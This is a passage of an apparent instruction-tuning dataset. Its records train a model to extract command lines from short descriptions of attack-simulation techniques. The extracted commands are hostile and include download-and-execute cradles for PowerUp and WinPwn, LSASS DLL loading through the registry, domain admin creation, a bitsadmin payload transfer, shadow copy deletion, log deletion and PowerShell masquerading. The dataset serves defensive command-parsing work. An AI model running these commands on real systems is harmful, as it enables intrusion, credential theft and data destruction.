commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To abuse an undocumented registry key for loading a DLL into LSASS, use the command: New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS -Name LsaDbExtPt -Value \\\"#{dll_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing the following command, you can change the 'CustomSD' registry value to restrict or grant access to specific users or groups: Set-ItemProperty -Path #{CustomSDPath} -Name \"CustomSD\" -Value \"O:SYG:SYD:(D;;0x1;;;WD)\"",
    "output": "{\"command_list\": [\"Set-ItemProperty -Path #{CustomSDPath} -Name \\\"CustomSD\\\" -Value \\\"O:SYG:SYD:(D;;0x1;;;WD)\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can add a domain admin user by executing these commands: net user \"#{username}\" \"#{password}\" /add /domain\nnet group \"#{group}\" \"#{username}\" /add /domain\n",
    "output": "{\"command_list\": [\"net user \\\"#{username}\\\" \\\"#{password}\\\" /add /domain\\nnet group \\\"#{group}\\\" \\\"#{username}\\\" /add /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary leveraging bitsadmin.exe for a BITS transfer and payload execution, use this sequence of commands: bitsadmin.exe /create #{bits_job_name}\nbitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}\nbitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL\nbitsadmin.exe /resume #{bits_job_name}\nping -n 5 127.0.0.1 >nul 2>&1\nbitsadmin.exe /complete #{bits_job_name}\n. The interesting side effect is that the executable runs with svchost.exe as the initiating process.",
    "output": "{\"command_list\": [\"bitsadmin.exe /create #{bits_job_name}\\nbitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}\\nbitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL\\nbitsadmin.exe /resume #{bits_job_name}\\nping -n 5 127.0.0.1 >nul 2>&1\\nbitsadmin.exe /complete #{bits_job_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The technique to loot local credentials for AWS, Microsoft Azure, and Google Compute can be performed with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nSharpCloud -consoleoutput -noninteractive  \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete the system log file, which requires admin privileges and utilizes osascript to execute rm via shell script, use the following command: osascript -e 'do shell script \"rm #{system_log_path}\" with administrator privileges'\n",
    "output": "{\"command_list\": [\"osascript -e 'do shell script \\\"rm #{system_log_path}\\\" with administrator privileges'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To masquerade PowerShell as taskhostw.exe, use the following command: copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\taskhostw.exe /Y\ncmd.exe /K %APPDATA%\\taskhostw.exe\n",
    "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\windowspowershell\\\\v1.0\\\\powershell.exe %APPDATA%\\\\taskhostw.exe /Y\\ncmd.exe /K %APPDATA%\\\\taskhostw.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script deletes Windows Volume Shadow Copies, a common ransomware tactic, with the command: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}",
    "output": "{\"command_list\": [\"Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}\\n\"]}"
  },
  {
